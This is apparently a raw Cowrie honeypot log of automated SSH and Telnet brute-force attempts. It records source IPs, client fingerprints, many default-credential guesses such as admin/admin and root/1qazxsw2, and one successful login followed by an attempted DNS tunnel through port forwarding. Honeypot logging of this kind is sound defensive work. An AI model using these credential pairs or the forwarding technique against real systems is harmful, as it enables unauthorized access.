{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:07.848846Z","src_ip":"172.237.20.62","session":"82e4e4d83e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:08.009845Z","src_ip":"172.237.20.62","session":"82e4e4d83e12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:08.493462Z","src_ip":"172.237.20.62","session":"82e4e4d83e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:09.657182Z","src_ip":"172.237.20.62","session":"82e4e4d83e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38324,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8d2ab1a9ab5","protocol":"telnet","message":"New connection: 45.58.127.90:38324 (10.17.0.5:23) [session: a8d2ab1a9ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:14.134330Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38340,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5f29b08f8b","protocol":"telnet","message":"New connection: 45.58.127.90:38340 (10.17.0.5:23) [session: 7b5f29b08f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:17.267600Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38570,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0602c56fb7a","protocol":"ssh","message":"New connection: 172.237.20.62:38570 (159.203.135.109:22) [session: a0602c56fb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:18.829930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:18.835723Z","src_ip":"172.237.20.62","session":"a0602c56fb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:19.013007Z","src_ip":"172.237.20.62","session":"a0602c56fb7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:19.502025Z","src_ip":"172.237.20.62","session":"a0602c56fb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:20.672378Z","src_ip":"172.237.20.62","session":"a0602c56fb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4272,"dst_ip":"10.17.0.5","dst_port":22,"session":"70cc996d8ea0","protocol":"ssh","message":"New connection: 87.251.64.176:4272 (10.17.0.5:22) [session: 70cc996d8ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:26.246516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:26.251380Z","src_ip":"87.251.64.176","session":"70cc996d8ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:26.347758Z","src_ip":"87.251.64.176","session":"70cc996d8ea0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:26.635034Z","src_ip":"87.251.64.176","session":"70cc996d8ea0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:26.735102Z","session":"70cc996d8ea0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:26.833471Z","src_ip":"87.251.64.176","session":"70cc996d8ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:27.069837Z","src_ip":"87.251.64.176","session":"70cc996d8ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33142,"dst_ip":"159.203.135.109","dst_port":22,"session":"a259ea2acf6a","protocol":"ssh","message":"New connection: 172.237.20.62:33142 (159.203.135.109:22) [session: a259ea2acf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:29.668137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:29.676420Z","src_ip":"172.237.20.62","session":"a259ea2acf6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:29.856307Z","src_ip":"172.237.20.62","session":"a259ea2acf6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:30.352332Z","src_ip":"172.237.20.62","session":"a259ea2acf6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"779dc2820899","protocol":"telnet","message":"New connection: 45.58.127.90:41370 (10.17.0.5:23) [session: 779dc2820899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:30.708844Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:31.516424Z","src_ip":"172.237.20.62","session":"a259ea2acf6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48588,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a8a1b5213c","protocol":"telnet","message":"New connection: 45.58.127.90:48588 (10.17.0.5:23) [session: 45a8a1b5213c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:31.732728Z"}
{"eventid":"cowrie.session.closed","duration":42.38693141937256,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:38.279843Z","src_ip":"45.58.127.90","session":"141df0c00fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42118,"dst_ip":"159.203.135.109","dst_port":22,"session":"817bb38d4117","protocol":"ssh","message":"New connection: 172.237.20.62:42118 (159.203.135.109:22) [session: 817bb38d4117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:40.710994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:40.715745Z","src_ip":"172.237.20.62","session":"817bb38d4117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:40.904627Z","src_ip":"172.237.20.62","session":"817bb38d4117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:41.389726Z","src_ip":"172.237.20.62","session":"817bb38d4117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3888156414032,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:42.393498Z","src_ip":"45.58.127.90","session":"12e664864d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:42.556330Z","src_ip":"172.237.20.62","session":"817bb38d4117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88011598587036,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:47.271790Z","src_ip":"45.58.127.90","session":"e85d170a75cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89635157585144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:50.030564Z","src_ip":"45.58.127.90","session":"a8d2ab1a9ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34732,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9cdfbe4f63f","protocol":"ssh","message":"New connection: 172.237.20.62:34732 (159.203.135.109:22) [session: e9cdfbe4f63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:51.717080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:51.721713Z","src_ip":"172.237.20.62","session":"e9cdfbe4f63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:51.881061Z","src_ip":"172.237.20.62","session":"e9cdfbe4f63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:52.359961Z","src_ip":"172.237.20.62","session":"e9cdfbe4f63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:53.523639Z","src_ip":"172.237.20.62","session":"e9cdfbe4f63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"500471f9b002","protocol":"telnet","message":"New connection: 45.58.127.90:59182 (10.17.0.5:23) [session: 500471f9b002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:58.453333Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59198,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca625ef3db4","protocol":"telnet","message":"New connection: 45.58.127.90:59198 (10.17.0.5:23) [session: 5ca625ef3db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:58.582623Z"}
{"eventid":"cowrie.session.closed","duration":41.710224628448486,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:58.977726Z","src_ip":"45.58.127.90","session":"7b5f29b08f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50394,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c947f4a379b","protocol":"ssh","message":"New connection: 172.237.20.62:50394 (159.203.135.109:22) [session: 9c947f4a379b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:02.556029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:02.561023Z","src_ip":"172.237.20.62","session":"9c947f4a379b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:02.721369Z","src_ip":"172.237.20.62","session":"9c947f4a379b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:03.200518Z","src_ip":"172.237.20.62","session":"9c947f4a379b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:04.362283Z","src_ip":"172.237.20.62","session":"9c947f4a379b","protocol":"ssh"}
